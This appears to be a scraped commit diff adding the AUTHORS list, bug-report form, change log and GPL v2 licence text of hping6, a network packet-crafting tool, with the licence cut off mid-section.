first draft
This commit is contained in:
commit
906782e134
47
AUTHORS
Normal file
47
AUTHORS
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
Lead developer and maintainer:
|
||||||
|
|
||||||
|
Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
|
||||||
|
Regular contributors:
|
||||||
|
|
||||||
|
Nicolas Jombart <Nicolas.Jombart@hsc.fr>
|
||||||
|
Denis Ducamp <Denis.Ducamp@hsc.fr>
|
||||||
|
Yann Berthier <Yann.Berthier@hsc.fr>
|
||||||
|
Stephane Aubert <Stephane.Aubert@hsc.fr>
|
||||||
|
|
||||||
|
Other contributors:
|
||||||
|
|
||||||
|
Brieuc Jeunhomme <bbp@via.ecp.fr>
|
||||||
|
Mika <mika@qualys.com>
|
||||||
|
Alfonso De Gregorio <fhex@speedcom.it>
|
||||||
|
Francesco Potorti` <pot@gnu.org>
|
||||||
|
Daniel Ginsburg <dbg@nm.ru>
|
||||||
|
Steve Bleazard <steve@bleazard.com>
|
||||||
|
|
||||||
|
|
||||||
|
Also thanks to the following people for testing, bug reports, ideas,
|
||||||
|
minor patches, documentation fixes:
|
||||||
|
|
||||||
|
Valeriano Bedeschi <vale@seclab.com>
|
||||||
|
Lorenzo Cavallaro <sullivan@seclab.com>
|
||||||
|
awgn roofing <root@roof.penguinpowered.com>
|
||||||
|
Darren Reed <avalon@COOMBS.ANU.EDU.AU>
|
||||||
|
Lance Spitzner <lance@spitzner.net>
|
||||||
|
Stefano Brandimarte <stevens@alicom.com>
|
||||||
|
"roy kozzer" <royk50@hotmail.com>
|
||||||
|
Jason Lunz <j@trellisinc.com>
|
||||||
|
Domenico Andreoli <cavok@filibusta.crema.unimi.it>
|
||||||
|
Gian-Luca Dei Rossi <acaso@venezia.linux.it>
|
||||||
|
Marco D'Itri <md@linux.it>
|
||||||
|
Rui Miguel Barbosa Machado <rmbm@rccn.net>
|
||||||
|
David Bar <dbar@Checkpoint.com>
|
||||||
|
David Coppa <coffeec@tin.it>
|
||||||
|
Shachar Shemesh <sun@consumer.org.il>
|
||||||
|
Brieuc Jeunhomme <bbp@via.ecp.fr>
|
||||||
|
Hans-Joachim Knobloch <knobloch@secorvo.de>
|
||||||
|
|
||||||
|
IPv6 support, regulated flood mode:
|
||||||
|
Matyas Koszik <koszik@atw.hu>
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
Note: if you aren't in this list for an oversight, please inform me.
|
28
BUGS
Normal file
28
BUGS
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
-------------------------------------------
|
||||||
|
Please, use this form to report hping6 bugs
|
||||||
|
-------------------------------------------
|
||||||
|
|
||||||
|
send it to <bugs@invece.org>
|
||||||
|
|
||||||
|
You should include:
|
||||||
|
|
||||||
|
* The output of "hping --version"
|
||||||
|
* The output of the command "uname -a"
|
||||||
|
* The problem description
|
||||||
|
* The command line used to produce the problem (if possible)
|
||||||
|
* The output of the command line that produces the problem with
|
||||||
|
the additional --debug switch.
|
||||||
|
* A tcpdump trace of the packets, run tcpdump with -s 200 -x
|
||||||
|
|
||||||
|
The subject should start with [HPING BUG] followed by
|
||||||
|
a short description or none. Example:
|
||||||
|
|
||||||
|
[HPING BUG] the lookback interface does not work on solaris
|
||||||
|
|
||||||
|
If you can, before to report a problem, download the developing
|
||||||
|
version of hping using the CVS (see the istructions at
|
||||||
|
http://www.hping.org/download.html) and try it, maybe we already
|
||||||
|
fixed the problem in the CVS version.
|
||||||
|
|
||||||
|
Also read the BUGS section of the manual page to see if
|
||||||
|
the bug is a known one.
|
279
CHANGES
Normal file
279
CHANGES
Normal file
@ -0,0 +1,279 @@
|
|||||||
|
CHANGES LOG
|
||||||
|
$Id: CHANGES,v 1.33 2004/03/10 12:11:51 njombart Exp $
|
||||||
|
|
||||||
|
Authors name abbreviation
|
||||||
|
|
||||||
|
AZ Salvatore Sanfilippo 'antirez' <antirez@speedcom.it>
|
||||||
|
FX Alfonso De Gregorio 'fhex' <fhex@speedcom.it>
|
||||||
|
MK Mika <mika@qualys.com>
|
||||||
|
SA Stephane Aubert <Stephane.Aubert@hsc.fr>
|
||||||
|
NJ Nicolas Jombart <Nicolas.Jombart@hsc.fr>
|
||||||
|
DD Denis Ducamp <Denis.Ducamp@hsc.fr>
|
||||||
|
FP Francesco Potorti` <pot@gnu.org>
|
||||||
|
YB Yann Berthier <Yann.Berthier@hsc.fr>
|
||||||
|
BJ Brieuc Jeunhomme <bbp@via.ecp.fr>
|
||||||
|
HK Hans-Joachim Knobloch <knobloch@secorvo.de>
|
||||||
|
MM Minor contributor, see the change description for credits.
|
||||||
|
?? If you edit this file put yourself here <your@email>
|
||||||
|
|
||||||
|
AZ is the default if not specified.
|
||||||
|
|
||||||
|
=======================================================
|
||||||
|
In order to find bugs fixed search the keyword 'FIX:'
|
||||||
|
for new supports and features search the keyword 'ADD:'
|
||||||
|
=======================================================
|
||||||
|
|
||||||
|
TO FIX before ??:
|
||||||
|
* The problem with --rroute and the IP header length field on SunOS,
|
||||||
|
thanks to Graeme Hewson <graeme.hewson@oracle.com> for reporting it.
|
||||||
|
|
||||||
|
MM FIX: Fix for interface guessing with aliases on BSD
|
||||||
|
Thanks <michel.gravey(@)orange.fr> and <cognet(@)freebsd.org>
|
||||||
|
MM FIX: fixed cksum.c. Bad outgoing packet checksum with some packet.
|
||||||
|
Thanks to Brett Eldridge <beldridg@pobox.com>.
|
||||||
|
AZ ADD: scan mode (--scan)
|
||||||
|
AZ ADD: A rc4-based PRNG to use with --rand-source and --rand-dest
|
||||||
|
NJ FIX: Fix -I option for BSD/Apple
|
||||||
|
NJ ADD: Add support for BSDI and MacOSX (thanks
|
||||||
|
Dennis Opacki <dopacki@adotout.com> and Jan-Hinrich Fessel
|
||||||
|
<Jan-Hinrich.Fessel@T-Mobile.de>)
|
||||||
|
HK ADD: A few useful ICMP options
|
||||||
|
NJ ADD: Add support for :
|
||||||
|
WLAN (Fabian Melzow <biop0b@web.de>)
|
||||||
|
ATM (Debian bug #193436, thanks to Domenico Andreoli)
|
||||||
|
Token Ring (jim.r.halfpenny@britishairways.com)
|
||||||
|
NJ ADD: MacOSX patches (Hans-Joachim Knobloch <knobloch@secorvo.de>)
|
||||||
|
NJ FIX: --rand-source patches from Quentin Garnier <hping@quatriemek.com>
|
||||||
|
. ensure randomness
|
||||||
|
. do not stop on errors when using a E or D class address (BSD only?)
|
||||||
|
|
||||||
|
20 Nov 2002 -- 2.0.0 stable -- candidate release 2
|
||||||
|
---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
NJ FIX: The bug about port number printing in TCP mode than YB discovered.
|
||||||
|
NJ ADD: MTU value sanity check in option parsing.
|
||||||
|
NJ FIX: Fix the use of -W option
|
||||||
|
NJ ADD: strLcpy() function taken from OpenBSD
|
||||||
|
NJ FIX: Fix a bug when using BSD and a PPP link as a default route
|
||||||
|
Move code from routing sockets to get_output_if function.
|
||||||
|
BJ FIX/ADD: source routing and random bugfixes. Thanks BJ!
|
||||||
|
AZ ADD: --rand-source for random source addresses.
|
||||||
|
AZ FIX: all the atoi() call was replaced with strto[u]l().
|
||||||
|
MM FIX: seq/ack setting using strtoul() instead of atoi(), thanks
|
||||||
|
to Shachar Shemesh <sun@consumer.org.il>.
|
||||||
|
AZ ADD: --rand-dest for random destination addresses + manpage update.
|
||||||
|
AZ FIX/ADD: Major code rewrite.
|
||||||
|
AZ FIX: DF added to the icmp and udp output.
|
||||||
|
AZ FIX: --port ++<base> fixed with UDP and enhanced for TCP/UDP. Now the
|
||||||
|
packets matches only with a sport that is:
|
||||||
|
>= base_dest_port AND <= current_dest_port.
|
||||||
|
Thanks to David Bar <dbar@Checkpoint.com> for the original
|
||||||
|
report.
|
||||||
|
|
||||||
|
15 Aug 2001 -- 2.0.0 stable -- candidate release 1
|
||||||
|
---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
AZ FIX: --fast now really sends 10packets/second, not 100. Thanks
|
||||||
|
to DD for the report.
|
||||||
|
AZ FIX: bzero/bcopy replaced with the sane memset/memcpy.
|
||||||
|
DG ADD: Solaris port, with the help of the patch contributed by
|
||||||
|
Steve Bleazard <steve@bleazard.com>
|
||||||
|
AZ ADD: Changed a bit the format (flags=S is now <S>) and add the string
|
||||||
|
DF if the don't fragment bit is on.
|
||||||
|
AZ FIX: waitpacket.c to take the data aligned. Now hping seems to
|
||||||
|
work without problems on linux/sparc.
|
||||||
|
AZ FIX: getifname.c, now even the linux version behaves better locking
|
||||||
|
for the interface address of the outgoing interface according
|
||||||
|
to the kernel routing table. getdefaultif.c removed, no loger used.
|
||||||
|
AZ FIX --tr-stop enhanced (now really exit when an expected packet that
|
||||||
|
was not an ICMP time exceeded was received)
|
||||||
|
AZ FIX: --stop-tr is now --tr-stop. All the traceroute mode options
|
||||||
|
starts with --tr.
|
||||||
|
AZ ADD: --tr-no-rtt to turn off RTT information in traceroute mode.
|
||||||
|
Thanks to Denis Ducamp for the idea.
|
||||||
|
AZ FIX: Now provide traceroute RTT information even with ICMP.
|
||||||
|
AZ ADD: --stop-tr stops hping in traceroute mode once the first non
|
||||||
|
ICMP packet is received. Thanks to Denis Ducamp for the idea.
|
||||||
|
AZ ADD: ICMP subnet address mask support. Not tested.
|
||||||
|
AZ ADD: TCP timestamp support with HZ and uptime guessing (--tcp-timestamp)
|
||||||
|
AZ ADD: ICMP timestamp support (--icmptype 13)
|
||||||
|
AZ FIX: Fixed getlhs.c under BSD to get the header length from the like type.
|
||||||
|
YB NH AZ FIX: ICMP ID handling on systems with 32 bit pids.
|
||||||
|
DD ADD: Man page update (not french one!)
|
||||||
|
AZ ADD: --traceroute now prints RTT information.
|
||||||
|
AZ ADD: --traceroute now implies --ttl 1 if no --ttl option is specified.
|
||||||
|
AZ ADD: --fast option that is an alias for -u i10000 (10 packets at second)
|
||||||
|
MM ADD: ets.* interface (thanks to Stefano Brandimarte.)
|
||||||
|
AZ FIX: compilation problem (NULL used without including stdlib.h in getusec.c)
|
||||||
|
AZ FIX: -H switch (alternative to --protoip) thanks to
|
||||||
|
"roy kozzer" <royk50@hotmail.com>
|
||||||
|
MM FIX: Man page grammatical mistakes, thanks to Jason Lunz <j@trellisinc.com>,
|
||||||
|
I applied the patch by hand, so maybe some mistake is still inside.
|
||||||
|
FP FIX: fixed rtt/sequence number handling, now hping6 can run for hours
|
||||||
|
keeping the right rtt calculation. Some sentence from the original
|
||||||
|
Francesco's email:
|
||||||
|
|
||||||
|
I am using it to make long measurements of the response times of http
|
||||||
|
servers around the world, so hping6 keeps running for days. In fact, it
|
||||||
|
is apparently impossible to use hping6 this way, as the sequence number
|
||||||
|
wraps around (and this may be okay, in principle) and the program goes
|
||||||
|
astray.
|
||||||
|
|
||||||
|
Precisely, the delay measurements are set to 0 after the wrap around.
|
||||||
|
Since hping6 is written so cleanly (thanks), I was able to quickly
|
||||||
|
correct the problem:
|
||||||
|
(strange, I think hping6 is very hugly code... I wrote it with
|
||||||
|
too little coding experience)
|
||||||
|
|
||||||
|
BTW now the issue is fixed, MANY thanks to Francesco Portori'.
|
||||||
|
|
||||||
|
DD FIX: -seqnum (endianess IIRC) fixed.
|
||||||
|
DD FIX: Random fix to manpage and code.
|
||||||
|
NJ FIX/ADD: BSD network interfaces related code.
|
||||||
|
DD ADD: French translation of the hping documentation, under docs/french/
|
||||||
|
|
||||||
|
6 July 2000 -- 2.0.0 beta54, raw IP mode, bug fixing, NetBSD support, ...
|
||||||
|
---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Solaris support still not present, a patch was provided by
|
||||||
|
Lorenzo Lazzieri but I did not have a solaris box to perform
|
||||||
|
some test, give me some solarix 2.[67] root account if you
|
||||||
|
need hping6 ported to solaris. Sorry, but my sparc S4 died
|
||||||
|
not long ago.
|
||||||
|
|
||||||
|
FIX: the stupid nop.c no longer exist.
|
||||||
|
FIX: tcp sequence number and ack visualization bug for lacks of ntohl()!
|
||||||
|
FIX: minor coding bugs fixed, minor code cleanup
|
||||||
|
FIX: man pages path now is obtained from MANPATH
|
||||||
|
FIX: new *BSD ethernet under getlhs.c
|
||||||
|
ADD: NetBSD support (thanks to Yann Berthier)
|
||||||
|
ADD: settable checksum
|
||||||
|
ADD: now TCP sequence number and ack are settable.
|
||||||
|
SA ADD: bad checksum option (-b --badcksum).
|
||||||
|
ADD: settable fragment offset.
|
||||||
|
ADD: raw IP mode.
|
||||||
|
ADD: out of sequence packets counter (only with -r option).
|
||||||
|
ADD: documentation updated and a bit improved.
|
||||||
|
|
||||||
|
20 Nov 1999 -- 2.0.0 beta 53, important bug fixed
|
||||||
|
-------------------------------------------------
|
||||||
|
|
||||||
|
Contrary to my hope this beta go out without Solaris support nor deep
|
||||||
|
testing under BSD systems. This because beta-53 FIX: some important bugs
|
||||||
|
so I think it's better to release it as soon as possible. I hope that
|
||||||
|
beta-54 will be more tested under BSD and will contain a first Solaris
|
||||||
|
support. Please, send me bug report/suggestions first beta-54 release, AZ
|
||||||
|
|
||||||
|
AZ ADD: man page updated.
|
||||||
|
AZ FIX: a very dirty bug introduced in hping6-beta49, it was in waitpacket.c,
|
||||||
|
all offset was computed using the ip header length of the last packet, and
|
||||||
|
for the first incoming packet using uninitialized bytes. I suggest you
|
||||||
|
upgrade ASAP.
|
||||||
|
AZ ADD: enhanced configure and Makefile. Now "./configure; make" should
|
||||||
|
be enough at least under Linux, FreeBSD and OpenBSD. configure has options,
|
||||||
|
try ./configure --help. Also FIX: a `make clean' issue.
|
||||||
|
AZ FIX: a bug in rtt.c, in some circumstance it returned a negative rtt,
|
||||||
|
also ADD: an initial sanity check for faster problem tracing in rtt.c.
|
||||||
|
Now sent packets are registered into 'delay table' *before* of sending, I
|
||||||
|
think this isn't the better way to do a good timing, but since original ping
|
||||||
|
program use this way and it avoids some problem hping now use this solution.
|
||||||
|
AZ FIX: parseoptions.c, some parser fix and more limits for non root users.
|
||||||
|
AZ ADD: better hgetopt.c, now it's possible to combine short options like
|
||||||
|
-S -F etc in -SF. The same kind of bug seems still unfixed in gcc and ssh.
|
||||||
|
AZ if_promisc.c no longer compiled/linked since it isn't used by hping6.
|
||||||
|
I leave this file here for possible future new features. It will be needed
|
||||||
|
only for Linux since to set promiscuous mode with libpcap it is not useful.
|
||||||
|
AZ ADD:/FIX: getlhs.c updated, now system dependent, BSD ethernet names
|
||||||
|
updated thx to Rui Miguel Barbosa Machado <rmbm@rccn.net>,
|
||||||
|
FIX: BSD PPP link header size (I hope). Please send me a mail if you
|
||||||
|
successfully run hping6 under PPP interface on BSD.
|
||||||
|
AZ ADD: new `utils' directory added and the simple utility hex2bin
|
||||||
|
AZ ADD: distribution enhanced, CHANGES was extracted from TODO, MIRRORS contain
|
||||||
|
a mirrors list, BUGS the bug report form, others files added.
|
||||||
|
|
||||||
|
16 Nov 1999 -- 2.0.0 beta 52, first public 2.0.0
|
||||||
|
-------------------------------------------------
|
||||||
|
|
||||||
|
AZ add W option for windoze byte ordering
|
||||||
|
AZ clearest var names
|
||||||
|
AZ fix incoming packet size computing
|
||||||
|
AZ add -V verbose mode
|
||||||
|
AZ add -D debug mode
|
||||||
|
AZ add support for 2.2.x kernel PF_PACKET socket
|
||||||
|
AZ fix (null) hostname problem
|
||||||
|
AZ add usec interval support for -i option
|
||||||
|
AZ fix -q option
|
||||||
|
AZ add -y (don't fragment) option
|
||||||
|
AZ better checksum algorithm from R. Stevens
|
||||||
|
AZ better icmp logging
|
||||||
|
AZ add capability of sending data besides header (-d)
|
||||||
|
AZ add fragmentation capability even with -d option
|
||||||
|
AZ add ICMP support
|
||||||
|
AZ get default routing interface from /proc
|
||||||
|
AZ add -k (keep still source port) option
|
||||||
|
AZ add UDP support
|
||||||
|
AZ all #define revisited for more cleanness
|
||||||
|
AZ recvto() incoming packet max size fixed
|
||||||
|
AZ data from file option
|
||||||
|
AZ hex dump of incoming packets
|
||||||
|
AZ incoming packets content dump (only printable)
|
||||||
|
AZ packet sign
|
||||||
|
AZ hgetopt.c, rewrite parse_options using hgetopt()
|
||||||
|
AZ GNU style options support
|
||||||
|
AZ target host argument recognized in any positions
|
||||||
|
AZ broadcast support, waittcp.c must be update (not for ICMP)
|
||||||
|
AZ fix some problem in hgetopt.c
|
||||||
|
AZ portability increased a bit
|
||||||
|
AZ byteorder.c, add ./configure, just for byte ordering check
|
||||||
|
AZ -9 | --listen <sign> listen mode for file transfers
|
||||||
|
AZ settable packets id
|
||||||
|
AZ fixed some problem in hgetopt.c/parseoption.c, assert() removed
|
||||||
|
AZ when suid don't allows a lot of options if uid != euid
|
||||||
|
AZ experimental traceroute mode (-T | --traceroute)
|
||||||
|
AZ HCMP (hping control message protocol) initial devel
|
||||||
|
AZ better HCMP support for safe protocol 'semi' implemented
|
||||||
|
AZ main.c clearness improved and reorder.
|
||||||
|
AZ HCMP for safe protocol works
|
||||||
|
AZ fix a bug when fragmentations is active (introduced with --id)
|
||||||
|
AZ settable tos, more than one --tos are ORed.
|
||||||
|
AZ strong code cleanup, three new files: rtt.c, relid.c, sendip_handler.c
|
||||||
|
AZ more portable includes, a bit more portable getifname.c
|
||||||
|
AZ enhanced ICMP support: rtt, (DUP), id.
|
||||||
|
AZ better ./configure and libpcap support predisposed.
|
||||||
|
AZ add round-trip min/avg/max statistics.
|
||||||
|
AZ get interface mtu, tunable fragments size, auto-activate
|
||||||
|
fragmentation if packet size > mtu
|
||||||
|
AZ --destport enhanced, now --destport +23 inc dest port
|
||||||
|
for each packet sent starting from 23.
|
||||||
|
AZ add libpcap support, Makefile and some .c updated
|
||||||
|
AZ fixed a bug introduced enhancing --destport option.
|
||||||
|
AZ if_mtu var name collision in BSD fixed, now h_if_mtu.
|
||||||
|
AZ better signal handling and minor internal changes.
|
||||||
|
FX save/restore errno in signal handlers.
|
||||||
|
FX add memory protection functions mem*.c in order to
|
||||||
|
prevent swap of sensitive memory areas.
|
||||||
|
AZ disable memory paging when --sign, --file, --listen used.
|
||||||
|
AZ Option -c wait after sending last packet
|
||||||
|
AZ ported on OpenBSD 2.3 (tested also on OpenBSD 2.5)
|
||||||
|
AZ enhanced ICMP support, now send type 8,0,3,4,5,11
|
||||||
|
AZ --traceroute default bind ttl to ctrl+z
|
||||||
|
MK Now waitpacket() handle ip options
|
||||||
|
MK Record route option support, and update IP related
|
||||||
|
functions to handle options. Also add ip_opt_build.c
|
||||||
|
and display_ipopt.c (ripped from ping)
|
||||||
|
AZ some bug fixed
|
||||||
|
AZ --tcpexitcode option that exit with last tcp->th_flags
|
||||||
|
AZ datafiller.c bug fix
|
||||||
|
AZ add -p ++port, as -p +port but that increments the destination
|
||||||
|
port even if no replies are received.
|
||||||
|
AZ fix getifname.c big problems with OpenBSD: it works only
|
||||||
|
for certain interface (now *seems* fixed)
|
||||||
|
AZ portable sendip.c raw socket ip fields byte ordering (N.B.
|
||||||
|
Linux and OpenBSD has all ip field in network byte order
|
||||||
|
so you may add right defines if you port hping6 to other OSs)
|
||||||
|
AZ compiles/works under FreeBSD 3.3
|
||||||
|
|
||||||
|
17 Dec 1998 -- 0.67 release
|
||||||
|
---------------------------
|
||||||
|
|
||||||
|
AZ add -a option
|
351
COPYING
Normal file
351
COPYING
Normal file
@ -0,0 +1,351 @@
|
|||||||
|
hping6 is free software. It comes under GPL version 2,
|
||||||
|
except for the following:
|
||||||
|
|
||||||
|
display_ipopt.c : from ping, BSD style license
|
||||||
|
libpcap library : BSD style license
|
||||||
|
|
||||||
|
for more information see the upper part of this files.
|
||||||
|
|
||||||
|
WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others.
|
||||||
|
|
||||||
|
hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo.
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 2, June 1991
|
||||||
|
|
||||||
|
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
|
||||||
|
675 Mass Ave, Cambridge, MA 02139, USA
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The licenses for most software are designed to take away your
|
||||||
|
freedom to share and change it. By contrast, the GNU General Public
|
||||||
|
License is intended to guarantee your freedom to share and change free
|
||||||
|
software--to make sure the software is free for all its users. This
|
||||||
|
General Public License applies to most of the Free Software
|
||||||
|
Foundation's software and to any other program whose authors commit to
|
||||||
|
using it. (Some other Free Software Foundation software is covered by
|
||||||
|
the GNU Library General Public License instead.) You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
this service if you wish), that you receive source code or can get it
|
||||||
|
if you want it, that you can change the software or use pieces of it
|
||||||
|
in new free programs; and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to make restrictions that forbid
|
||||||
|
anyone to deny you these rights or to ask you to surrender the rights.
|
||||||
|
These restrictions translate to certain responsibilities for you if you
|
||||||
|
distribute copies of the software, or if you modify it.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must give the recipients all the rights that
|
||||||
|
you have. You must make sure that they, too, receive or can get the
|
||||||
|
source code. And you must show them these terms so they know their
|
||||||
|
rights.
|
||||||
|
|
||||||
|
We protect your rights with two steps: (1) copyright the software, and
|
||||||
|
(2) offer you this license which gives you legal permission to copy,
|
||||||
|
distribute and/or modify the software.
|
||||||
|
|
||||||
|
Also, for each author's protection and ours, we want to make certain
|
||||||
|
that everyone understands that there is no warranty for this free
|
||||||
|
software. If the software is modified by someone else and passed on, we
|
||||||
|
want its recipients to know that what they have is not the original, so
|
||||||
|
that any problems introduced by others will not reflect on the original
|
||||||
|
authors' reputations.
|
||||||
|
|
||||||
|
Finally, any free program is threatened constantly by software
|
||||||
|
patents. We wish to avoid the danger that redistributors of a free
|
||||||
|
program will individually obtain patent licenses, in effect making the
|
||||||
|
program proprietary. To prevent this, we have made it clear that any
|
||||||
|
patent must be licensed for everyone's free use or not licensed at all.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||||
|
|
||||||
|
0. This License applies to any program or other work which contains
|
||||||
|
a notice placed by the copyright holder saying it may be distributed
|
||||||
|
under the terms of this General Public License. The "Program", below,
|
||||||
|
refers to any such program or work, and a "work based on the Program"
|
||||||
|
means either the Program or any derivative work under copyright law:
|
||||||
|
that is to say, a work containing the Program or a portion of it,
|
||||||
|
either verbatim or with modifications and/or translated into another
|
||||||
|
language. (Hereinafter, translation is included without limitation in
|
||||||
|
the term "modification".) Each licensee is addressed as "you".
|
||||||
|
|
||||||
|
Activities other than copying, distribution and modification are not
|
||||||
|
covered by this License; they are outside its scope. The act of
|
||||||
|
running the Program is not restricted, and the output from the Program
|
||||||
|
is covered only if its contents constitute a work based on the
|
||||||
|
Program (independent of having been made by running the Program).
|
||||||
|
Whether that is true depends on what the Program does.
|
||||||
|
|
||||||
|
1. You may copy and distribute verbatim copies of the Program's
|
||||||
|
source code as you receive it, in any medium, provided that you
|
||||||
|
conspicuously and appropriately publish on each copy an appropriate
|
||||||
|
copyright notice and disclaimer of warranty; keep intact all the
|
||||||
|
notices that refer to this License and to the absence of any warranty;
|
||||||
|
and give any other recipients of the Program a copy of this License
|
||||||
|
along with the Program.
|
||||||
|
|
||||||
|
You may charge a fee for the physical act of transferring a copy, and
|
||||||
|
you may at your option offer warranty protection in exchange for a fee.
|
||||||
|
|
||||||
|
2. You may modify your copy or copies of the Program or any portion
|
||||||
|
of it, thus forming a work based on the Program, and copy and
|
||||||
|
distribute such modifications or work under the terms of Section 1
|
||||||
|
above, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) You must cause the modified files to carry prominent notices
|
||||||
|
stating that you changed the files and the date of any change.
|
||||||
|
|
||||||
|
b) You must cause any work that you distribute or publish, that in
|
||||||
|
whole or in part contains or is derived from the Program or any
|
||||||
|
part thereof, to be licensed as a whole at no charge to all third
|
||||||
|
parties under the terms of this License.
|
||||||
|
|
||||||
|
c) If the modified program normally reads commands interactively
|
||||||
|
when run, you must cause it, when started running for such
|
||||||
|
interactive use in the most ordinary way, to print or display an
|
||||||
|
announcement including an appropriate copyright notice and a
|
||||||
|
notice that there is no warranty (or else, saying that you provide
|
||||||
|
a warranty) and that users may redistribute the program under
|
||||||
|
these conditions, and telling the user how to view a copy of this
|
||||||
|
License. (Exception: if the Program itself is interactive but
|
||||||
|
does not normally print such an announcement, your work based on
|
||||||
|
the Program is not required to print an announcement.)
|
||||||
|
|
||||||
|
These requirements apply to the modified work as a whole. If
|
||||||
|
identifiable sections of that work are not derived from the Program,
|
||||||
|
and can be reasonably considered independent and separate works in
|
||||||
|
themselves, then this License, and its terms, do not apply to those
|
||||||
|
sections when you distribute them as separate works. But when you
|
||||||
|
distribute the same sections as part of a whole which is a work based
|
||||||
|
on the Program, the distribution of the whole must be on the terms of
|
||||||
|
this License, whose permissions for other licensees extend to the
|
||||||
|
entire whole, and thus to each and every part regardless of who wrote it.
|
||||||
|
|
||||||
|
Thus, it is not the intent of this section to claim rights or contest
|
||||||
|
your rights to work written entirely by you; rather, the intent is to
|
||||||
|
exercise the right to control the distribution of derivative or
|
||||||
|
collective works based on the Program.
|
||||||
|
|
||||||
|
In addition, mere aggregation of another work not based on the Program
|
||||||
|
with the Program (or with a work based on the Program) on a volume of
|
||||||
|
a storage or distribution medium does not bring the other work under
|
||||||
|
the scope of this License.
|
||||||
|
|
||||||
|
3. You may copy and distribute the Program (or a work based on it,
|
||||||
|
under Section 2) in object code or executable form under the terms of
|
||||||
|
Sections 1 and 2 above provided that you also do one of the following:
|
||||||
|
|
||||||
|
a) Accompany it with the complete corresponding machine-readable
|
||||||
|
source code, which must be distributed under the terms of Sections
|
||||||
|
1 and 2 above on a medium customarily used for software interchange; or,
|
||||||
|
|
||||||
|
b) Accompany it with a written offer, valid for at least three
|
||||||
|
years, to give any third party, for a charge no more than your
|
||||||
|
cost of physically performing source distribution, a complete
|
||||||
|
machine-readable copy of the corresponding source code, to be
|
||||||
|
distributed under the terms of Sections 1 and 2 above on a medium
|
||||||
|
customarily used for software interchange; or,
|
||||||
|
|
||||||
|
c) Accompany it with the information you received as to the offer
|
||||||
|
to distribute corresponding source code. (This alternative is
|
||||||
|
allowed only for noncommercial distribution and only if you
|
||||||
|
received the program in object code or executable form with such
|
||||||
|
an offer, in accord with Subsection b above.)
|
||||||
|
|
||||||
|
The source code for a work means the preferred form of the work for
|
||||||
|
making modifications to it. For an executable work, complete source
|
||||||
|
code means all the source code for all modules it contains, plus any
|
||||||
|
associated interface definition files, plus the scripts used to
|
||||||
|
control compilation and installation of the executable. However, as a
|
||||||
|
special exception, the source code distributed need not include
|
||||||
|
anything that is normally distributed (in either source or binary
|
||||||
|
form) with the major components (compiler, kernel, and so on) of the
|
||||||
|
operating system on which the executable runs, unless that component
|
||||||
|
itself accompanies the executable.
|
||||||
|
|
||||||
|
If distribution of executable or object code is made by offering
|
||||||
|
access to copy from a designated place, then offering equivalent
|
||||||
|
access to copy the source code from the same place counts as
|
||||||
|
distribution of the source code, even though third parties are not
|
||||||
|
compelled to copy the source along with the object code.
|
||||||
|
|
||||||
|
4. You may not copy, modify, sublicense, or distribute the Program
|
||||||
|
except as expressly provided under this License. Any attempt
|
||||||
|
otherwise to copy, modify, sublicense or distribute the Program is
|
||||||
|
void, and will automatically terminate your rights under this License.
|
||||||
|
However, parties who have received copies, or rights, from you under
|
||||||
|
this License will not have their licenses terminated so long as such
|
||||||
|
parties remain in full compliance.
|
||||||
|
|
||||||
|
5. You are not required to accept this License, since you have not
|
||||||
|
signed it. However, nothing else grants you permission to modify or
|
||||||
|
distribute the Program or its derivative works. These actions are
|
||||||
|
prohibited by law if you do not accept this License. Therefore, by
|
||||||
|
modifying or distributing the Program (or any work based on the
|
||||||
|
Program), you indicate your acceptance of this License to do so, and
|
||||||
|
all its terms and conditions for copying, distributing or modifying
|
||||||
|
the Program or works based on it.
|
||||||
|
|
||||||
|
6. Each time you redistribute the Program (or any work based on the
|
||||||
|
Program), the recipient automatically receives a license from the
|
||||||
|
original licensor to copy, distribute or modify the Program subject to
|
||||||
|
these terms and conditions. You may not impose any further
|
||||||
|
restrictions on the recipients' exercise of the rights granted herein.
|
||||||
|
You are not responsible for enforcing compliance by third parties to
|
||||||
|
this License.
|
||||||
|
|
||||||
|
7. If, as a consequence of a court judgment or allegation of patent
|
||||||
|
infringement or for any other reason (not limited to patent issues),
|
||||||
|
conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot
|
||||||
|
distribute so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you
|
||||||
|
may not distribute the Program at all. For example, if a patent
|
||||||
|
license would not permit royalty-free redistribution of the Program by
|
||||||
|
all those who receive copies directly or indirectly through you, then
|
||||||
|
the only way you could satisfy both it and this License would be to
|
||||||
|
refrain entirely from distribution of the Program.
|
||||||
|
|
||||||
|
If any portion of this section is held invalid or unenforceable under
|
||||||
|
any particular circumstance, the balance of the section is intended to
|
||||||
|
apply and the section as a whole is intended to apply in other
|
||||||
|
circumstances.
|
||||||
|
|
||||||
|
It is not the purpose of this section to induce you to infringe any
|
||||||
|
patents or other property right claims or to contest validity of any
|
||||||
|
